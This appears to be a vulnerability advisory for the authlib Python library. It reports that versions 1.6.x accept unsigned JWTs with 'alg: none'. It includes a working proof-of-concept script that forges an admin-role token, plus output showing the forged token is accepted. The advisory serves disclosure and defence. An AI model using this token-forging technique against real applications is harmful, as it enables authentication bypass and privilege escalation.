Threats tagged 'brew-weaviate-cli-cve-2026-28802'

### Summary After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected. ### Details It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75 ### PoC ``` from authlib.jose import jwt, JsonWebKey from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend import json import base64 def create_jwks(): private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_pem = private_key.public_key().public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo, ) jwk = JsonWebKey.import_key(public_pem).as_dict() jwk["kid"] = "test-key-001" jwk["use"] = "sig" jwk["alg"] = "RS256" jwks = {"keys": [jwk]} return jwks def create_forged_token_with_alg_none(): forged_header = {"alg": "none"} forged_payload = { "sub": "user123", "role": "admin", "iat": 1735603200, } header_b64 = base64.urlsafe_b64encode( json.dumps(forged_header).encode("utf-8") ).rstrip(b"=") payload_b64 = base64.urlsafe_b64encode( json.dumps(forged_payload).encode("utf-8") ).rstrip(b"=") forged_token = header_b64 + b"." + payload_b64 + b"." return forged_token jwks = create_jwks() forged_token = create_forged_token_with_alg_none() try: claims = jwt.decode(forged_token, jwks) print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}") except Exception as e: print(f"SECURE: Token rejected - {type(e).__name__}") ``` Output: ``` pip install -q authlib==1.5.2 python3 authlib_alg_none_vulnerability.py SECURE: Token rejected - BadSignatureError pip install -q authlib==1.6.5 python3 authlib_alg_none_vulnerability.py VULNERABLE: Forged token (alg:none) accepted: role=admin ``` ### Impact Users of the library are likely not aware that they now need to check the provided headers and disallow `alg: none` usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist. Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to: - Authentication bypass - Privilege escalation - Unauthorized access - Modification of application data